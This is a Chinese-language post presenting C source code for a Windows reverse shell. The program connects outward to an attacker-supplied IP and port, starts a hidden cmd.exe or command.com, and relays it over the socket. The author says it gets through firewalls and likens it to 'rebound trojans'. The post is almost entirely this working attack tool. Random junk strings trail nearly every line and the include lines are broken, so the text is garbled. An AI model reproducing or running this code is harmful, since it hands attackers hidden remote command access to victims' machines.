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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2vWJ|&|p  
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/* ============================== gsuf d{{  
Rebound port in Windows NT Uj}iMw,  
By wind,2006/7 Mvoi   
===============================*/ sAS\-c'6  
#include \>nPg5OT  
#include SiHZco I  
k <ds7k1m  
#pragma comment(lib,"wsock32.lib") R^P~iAO  
hfP}+on%  
void OutputShell(); # 4`*`)%  
SOCKET sClient; V_Kpb*3  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ,eD@)K_:  
a #?% I#  
void main(int argc,char **argv) ]qL#/   
{ FX)g\=ov  
WSADATA stWsaData; yNdtq\h  
int nRet; T#?KY  
SOCKADDR_IN stSaiClient,stSaiServer; {y=H49  
oz%ZEi \bW  
if(argc != 3) (i>VJr  
{ Zeyhr\T  
printf("Useage:\n\rRebound DestIP DestPort\n"); rFZB6A<(]  
return; 5~4I.+~8  
} dsqqq,>Q  
jy{T=Nb  
WSAStartup(MAKEWORD(2,2),&stWsaData); x, a[ p\1  
hu[=9#''$  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <9eQ  
Wfkm'BnV  
stSaiClient.sin_family = AF_INET; [qlq&?"  
stSaiClient.sin_port = htons(0); mIq6\c$  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); vV.'&."g  
pu nc'~  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \tLJ( <8  
{ @5Q}o3.zA-  
printf("Bind Socket Failed!\n"); ^#e:q  
return; .z7X Ymv  
} :6PWU$z$7  
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stSaiServer.sin_family = AF_INET; ya{vR* '~  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *ghkw9/  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); s@ m A\  
3WS`,}  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Fgxh?Wd9  
{ t`+x5*g W  
printf("Connect Error!"); gE(QVbh(  
return; 2#C!40j&\  
} UZMo(rG.]{  
OutputShell(); d6,%P 6  
} o\h[K<^>)  
^CI.F.#X|  
void OutputShell() %k{~Fa  
{ g1muT.W]S  
char szBuff[1024]; fm87?RgXD  
SECURITY_ATTRIBUTES stSecurityAttributes; 3G8BYP  
OSVERSIONINFO stOsversionInfo; :h0as!2@dp  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; v>.nL(VLjP  
STARTUPINFO stStartupInfo; PTIC2  
char *szShell; W&}YM b  
PROCESS_INFORMATION stProcessInformation; V=k!&xN~  
unsigned long lBytesRead; "R+ x  
%Nd|VAe  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); A,e/y  
DSYtj} >  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =A9>Ej/  
stSecurityAttributes.lpSecurityDescriptor = 0; *aS|4M-  
stSecurityAttributes.bInheritHandle = TRUE; hE-`N,i }  
m,aJ(8G  
$&nF1HBI4  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); =#n05*^  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);  S20x  
$1.iMHb  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); g$kK)z  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~el#pf~  
stStartupInfo.wShowWindow = SW_HIDE; wKe^5|Rr  
stStartupInfo.hStdInput = hReadPipe; I:u xj%  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; F}<&@7kF  
D}px=?  
GetVersionEx(&stOsversionInfo); }\=9l<|  
!V$nU8p|  
switch(stOsversionInfo.dwPlatformId) 's@v'u3  
{ [nn/a?Z4S  
case 1: ?c"No|@+  
szShell = "command.com"; G{}E~jDi?  
break; NwD*EuPF:  
default: N+\#k*n?  
szShell = "cmd.exe"; jpZX5_o  
break; 9z\q_ 0&i  
} !Qjpj KRy  
511^f`P<  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); kf_s.Dedw  
?,]%V1(@V`  
send(sClient,szMsg,77,0); 468LVe?0  
while(1) 3 l->$R]  
{ kI]i,v#F  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); pK1P-!c  
if(lBytesRead) qi`*4cas*A  
{ 2W|4  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }fZT$'*;  
send(sClient,szBuff,lBytesRead,0); })g|r9=  
} s2_j@k?%  
else /#20`;~F)  
{ 5|NM]8^^0[  
lBytesRead=recv(sClient,szBuff,1024,0); V%dMaX>^i  
if(lBytesRead<=0) break; LPb43  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); FT/H~|Z>  
} r.xGvo{iY  
} Vm_y,;/(-R  
8\!0yM#yK  
return; cz OhSbmc  
}
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